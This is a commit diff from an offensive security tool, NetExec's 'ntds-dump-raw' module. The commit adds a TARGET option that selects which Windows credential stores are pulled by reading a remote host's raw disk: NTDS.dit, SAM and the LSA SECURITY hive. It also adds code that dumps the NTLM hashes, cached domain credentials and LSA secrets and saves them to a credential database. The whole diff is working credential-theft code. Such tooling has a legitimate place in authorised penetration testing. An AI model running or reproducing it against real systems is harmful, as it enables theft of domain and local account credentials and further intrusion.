Skip to content

Commit 1d9b502

Browse files
committed
Add TARGET option to ntds-dump-raw to dump LSA/SAM hashes
1 parent a8183f8 commit 1d9b502

1 file changed

Lines changed: 147 additions & 115 deletions

File tree

nxc/modules/ntds-dump-raw.py

Lines changed: 147 additions & 115 deletions
Original file line numberDiff line numberDiff line change
@@ -10,24 +10,16 @@
1010
import random
1111
import gzip
1212
from io import BytesIO
13-
from impacket.examples.secretsdump import LocalOperations, NTDSHashes, SAMHashes
13+
from impacket.examples.secretsdump import LocalOperations, NTDSHashes, SAMHashes, LSASecrets
1414
from nxc.helpers.misc import validate_ntlm
1515
from nxc.helpers.powershell import get_ps_script
16+
import sys
1617

1718

1819
class NXCModule:
1920
name = "ntds-dump-raw"
2021
description = "Extracting the ntds.dit, SAM, and SYSTEM files from DC by accessing the raw hard drive."
2122
supported_protocols = ["smb", "wmi", "winrm"]
22-
23-
files_full_location_to_extract = [
24-
"Windows/System32/config/SYSTEM",
25-
"Windows/System32/config/SAM",
26-
"Windows/NTDS/ntds.dit",
27-
]
28-
files_to_extract = [c_filename.split("/")[-1] for c_filename in files_full_location_to_extract]
29-
number_of_file_to_extract = len(files_to_extract)
30-
extracted_files_location_local = {"SAM": "", "SYSTEM": "", "ntds.dit": ""}
3123
NTFS_LOCATION = 0
3224
MFT_LOCATION = 0
3325
context = None
@@ -83,7 +75,36 @@ class MFA_sector_properties:
8375
full_path: str = ""
8476

8577
def options(self, context, module_options):
86-
"""No options available"""
78+
"""TARGET: Specify the source from which the hashes will be extracted [NTDS, SAM, LSA] or any combination of them
79+
Usage: nxc smb $IP -u Username -p Password -M ntds-dump-raw -o TARGET=SAM
80+
nxc smb $IP -u Username -p Password -M ntds-dump-raw -o TARGET=NTDS,LSA,SAM
81+
$IP can be a Domain Controller or a regular Windows machine.
82+
"""
83+
available_options = {
84+
"NTDS": "Windows/NTDS/ntds.dit",
85+
"LSA": "Windows/System32/config/SECURITY",
86+
"SAM": "Windows/System32/config/SAM"}
87+
selected_files_full_path = []
88+
if "TARGET" in module_options:
89+
selected_options = module_options["TARGET"].split(",")
90+
for option in selected_options:
91+
if option in available_options:
92+
selected_files_full_path.append(available_options[option])
93+
else:
94+
context.log.error(f"Uknown option format : {option}")
95+
sys.exit(1)
96+
else:
97+
selected_files_full_path.append(available_options["NTDS"])
98+
selected_files_full_path.append(available_options["SAM"])
99+
self.add_files_path_to_extract(selected_files_full_path)
100+
101+
def add_files_path_to_extract(self, selected_files_full_path):
102+
"""Add the selected file paths for extraction and including SYSTEM by default"""
103+
selected_files_full_path.append("Windows/System32/config/SYSTEM")
104+
self.files_full_location_to_extract = selected_files_full_path
105+
self.files_to_extract = [c_filename.split("/")[-1] for c_filename in self.files_full_location_to_extract]
106+
self.number_of_file_to_extract = len(self.files_to_extract)
107+
self.extracted_files_location_local = dict.fromkeys(self.files_to_extract, "")
87108

88109
def read_from_disk(self, offset, size):
89110
"""Get the raw content of the disk based on the specified offset and size by executing PowerShell code on the remote target"""
@@ -148,123 +169,134 @@ def main(self):
148169
self.read_MFT(MFT_file_header)
149170

150171
if self.number_of_file_to_extract != 0:
151-
self.logger.fail("Unable to find all needed files")
152-
return
172+
self.logger.fail("Unable to find all needed files, trying to work with what we have")
153173

154174
self.logger.success("Heads up, hashes on the way...")
155-
self.dump_ntds()
175+
self.dump_hashes()
156176

157-
def dump_ntds(self):
177+
def dump_hashes(self):
158178
"""Dumping NTDS and SAM hashes locally from the extracted files"""
159179
# Mostly from nxc/modules/ntdsutil.py
160180
local_operations = LocalOperations(self.extracted_files_location_local["SYSTEM"])
161181
boot_key = local_operations.getBootKey()
162182
no_lm_hash = local_operations.checkNoLMHashPolicy()
183+
184+
# NTDS hashes
185+
if "ntds.dit" in self.extracted_files_location_local and self.extracted_files_location_local["ntds.dit"] != "":
186+
def add_ntds_hash(ntds_hash, host_id):
187+
"""Extract NTDS hashes"""
188+
add_ntds_hash.ntds_hashes += 1
189+
ntds_hash = ntds_hash.split(" ")[0]
190+
self.logger.highlight(ntds_hash)
191+
if ntds_hash.find("$") == -1:
192+
if ntds_hash.find("\\") != -1:
193+
domain, clean_hash = ntds_hash.split("\\")
194+
else:
195+
domain = self.domain
196+
clean_hash = ntds_hash
197+
198+
try:
199+
username, _, lmhash, nthash, _, _, _ = clean_hash.split(":")
200+
parsed_hash = f"{lmhash}:{nthash}"
201+
if validate_ntlm(parsed_hash):
202+
self.db.add_credential("hash", domain, username, parsed_hash, pillaged_from=host_id)
203+
add_ntds_hash.added_to_db += 1
204+
return
205+
raise
206+
except Exception:
207+
self.logger.debug("Dumped hash is not NTLM, not adding to db for now ;)")
208+
else:
209+
self.logger.debug("Dumped hash is a computer account, not adding to db")
210+
211+
add_ntds_hash.ntds_hashes = 0
212+
add_ntds_hash.added_to_db = 0
213+
214+
NTDS = NTDSHashes(
215+
self.extracted_files_location_local["ntds.dit"],
216+
boot_key,
217+
isRemote=False,
218+
history=False,
219+
noLMHash=no_lm_hash,
220+
remoteOps=None,
221+
useVSSMethod=True,
222+
justNTLM=True,
223+
pwdLastSet=False,
224+
resumeSession=None,
225+
outputFileName=self.output_filename,
226+
justUser=None,
227+
printUserStatus=True,
228+
perSecretCallback=lambda secretType, secret: add_ntds_hash(secret, self.host),
229+
)
230+
231+
try:
232+
self.logger.success("NTDS hashes:")
233+
NTDS.dump()
234+
except Exception as e:
235+
self.logger.fail(e)
236+
237+
NTDS.finish()
163238

164239
# SAM hashes
165-
def add_SAM_hash(SAM_hash, host_id):
166-
"""Extract SAM hashes"""
167-
add_SAM_hash.SAM_hashes += 1
168-
SAM_hash = SAM_hash.split(" ")[0]
169-
self.logger.highlight(SAM_hash)
170-
if SAM_hash.find("$") == -1:
171-
if SAM_hash.find("\\") != -1:
172-
domain, clean_hash = SAM_hash.split("\\")
173-
else:
174-
domain = self.domain
175-
clean_hash = SAM_hash
176-
177-
try:
178-
username, _, lmhash, nthash, _, _, _ = clean_hash.split(":")
179-
parsed_hash = f"{lmhash}:{nthash}"
180-
if validate_ntlm(parsed_hash):
181-
self.db.add_credential("hash", domain, username, parsed_hash, pillaged_from=host_id)
182-
add_SAM_hash.added_to_db += 1
183-
return
184-
raise
185-
except Exception:
186-
self.logger.debug("Dumped hash is not NTLM, not adding to db for now ;)")
187-
else:
188-
self.logger.debug("Dumped hash is a computer account, not adding to db")
189-
190-
add_SAM_hash.SAM_hashes = 0
191-
add_SAM_hash.added_to_db = 0
192-
193-
SAM = SAMHashes(
194-
self.extracted_files_location_local["SAM"],
195-
boot_key,
196-
isRemote=False,
197-
perSecretCallback=lambda secret: add_SAM_hash(secret, self.host),
198-
)
199-
200-
# NTDS
201-
def add_ntds_hash(ntds_hash, host_id):
202-
"""Extract NTDS hashes"""
203-
add_ntds_hash.ntds_hashes += 1
204-
ntds_hash = ntds_hash.split(" ")[0]
205-
self.logger.highlight(ntds_hash)
206-
if ntds_hash.find("$") == -1:
207-
if ntds_hash.find("\\") != -1:
208-
domain, clean_hash = ntds_hash.split("\\")
240+
if "SAM" in self.extracted_files_location_local and self.extracted_files_location_local["SAM"] != "":
241+
def add_SAM_hash(SAM_hash, host_id):
242+
"""Extract SAM hashes"""
243+
add_SAM_hash.SAM_hashes += 1
244+
SAM_hash = SAM_hash.split(" ")[0]
245+
self.logger.highlight(SAM_hash)
246+
if SAM_hash.find("$") == -1:
247+
if SAM_hash.find("\\") != -1:
248+
domain, clean_hash = SAM_hash.split("\\")
249+
else:
250+
domain = self.domain
251+
clean_hash = SAM_hash
252+
try:
253+
username, _, lmhash, nthash, _, _, _ = clean_hash.split(":")
254+
parsed_hash = f"{lmhash}:{nthash}"
255+
if validate_ntlm(parsed_hash):
256+
self.db.add_credential("hash", domain, username, parsed_hash, pillaged_from=host_id)
257+
add_SAM_hash.added_to_db += 1
258+
return
259+
raise
260+
except Exception:
261+
self.logger.debug("Dumped hash is not NTLM, not adding to db for now ;)")
209262
else:
210-
domain = self.domain
211-
clean_hash = ntds_hash
212-
213-
try:
214-
username, _, lmhash, nthash, _, _, _ = clean_hash.split(":")
215-
parsed_hash = f"{lmhash}:{nthash}"
216-
if validate_ntlm(parsed_hash):
217-
self.db.add_credential("hash", domain, username, parsed_hash, pillaged_from=host_id)
218-
add_ntds_hash.added_to_db += 1
219-
return
220-
raise
221-
except Exception:
222-
self.logger.debug("Dumped hash is not NTLM, not adding to db for now ;)")
223-
else:
224-
self.logger.debug("Dumped hash is a computer account, not adding to db")
263+
self.logger.debug("Dumped hash is a computer account, not adding to db")
225264

226-
add_ntds_hash.ntds_hashes = 0
227-
add_ntds_hash.added_to_db = 0
265+
add_SAM_hash.SAM_hashes = 0
266+
add_SAM_hash.added_to_db = 0
228267

229-
# NTDS hashes
230-
NTDS = NTDSHashes(
231-
self.extracted_files_location_local["ntds.dit"],
232-
boot_key,
233-
isRemote=False,
234-
history=False,
235-
noLMHash=no_lm_hash,
236-
remoteOps=None,
237-
useVSSMethod=True,
238-
justNTLM=True,
239-
pwdLastSet=False,
240-
resumeSession=None,
241-
outputFileName=self.output_filename,
242-
justUser=None,
243-
printUserStatus=True,
244-
perSecretCallback=lambda secretType, secret: add_ntds_hash(secret, self.host),
245-
)
246-
247-
try:
248-
self.logger.success("NTDS hashes:")
249-
NTDS.dump()
250-
except Exception as e:
251-
self.logger.fail(e)
252-
253-
try:
254-
self.logger.success("SAM hashes:")
255-
SAM.dump()
256-
SAM.export(self.output_filename)
257-
except Exception as e:
258-
self.logger.debug(e)
259-
260-
self.logger.success(f"Dumped {add_SAM_hash.SAM_hashes} SAM hashes to {self.output_filename}.sam of which {add_SAM_hash.added_to_db} were added to the database")
261-
self.logger.success(f"Dumped {add_ntds_hash.ntds_hashes} NTDS hashes to {self.output_filename}.ntds of which {add_ntds_hash.added_to_db} were added to the database")
262-
263-
self.logger.display("To extract only enabled accounts from the output file, run the following command: ")
264-
self.logger.display(f"grep -iv disabled {self.output_filename}.ntds | cut -d ':' -f1")
265-
266-
SAM.finish()
267-
NTDS.finish()
268+
SAM = SAMHashes(
269+
self.extracted_files_location_local["SAM"],
270+
boot_key,
271+
isRemote=False,
272+
perSecretCallback=lambda secret: add_SAM_hash(secret, self.host),
273+
)
274+
try:
275+
self.logger.success("SAM hashes:")
276+
SAM.dump()
277+
SAM.export(self.output_filename)
278+
except Exception as e:
279+
self.logger.debug(e)
280+
SAM.finish()
281+
282+
# LSA
283+
if "SECURITY" in self.extracted_files_location_local and self.extracted_files_location_local["SECURITY"] != "":
284+
LSA = LSASecrets(self.extracted_files_location_local["SECURITY"], boot_key, None, isRemote=False, perSecretCallback=lambda secret_type, secret: self.logger.highlight(secret))
285+
286+
try:
287+
self.logger.success("LSA Secrets:")
288+
LSA.dumpCachedHashes()
289+
LSA.dumpSecrets()
290+
except Exception as e:
291+
self.logger.fail(e)
292+
293+
if "SAM" in self.extracted_files_location_local and self.extracted_files_location_local["SAM"] != "":
294+
self.logger.success(f"Dumped {add_SAM_hash.SAM_hashes} SAM hashes to {self.output_filename}.sam of which {add_SAM_hash.added_to_db} were added to the database")
295+
296+
if "ntds.dit" in self.extracted_files_location_local and self.extracted_files_location_local["ntds.dit"] != "":
297+
self.logger.success(f"Dumped {add_ntds_hash.ntds_hashes} NTDS hashes to {self.output_filename}.ntds of which {add_ntds_hash.added_to_db} were added to the database")
298+
self.logger.display("To extract only enabled accounts from the output file, run the following command: ")
299+
self.logger.display(f"grep -iv disabled {self.output_filename}.ntds | cut -d ':' -f1")
268300

269301
def analyze_NTFS(self, ntfs_header):
270302
"""Decode the NTFS headers and extract needed infromation from it"""

0 commit comments

Comments
 (0)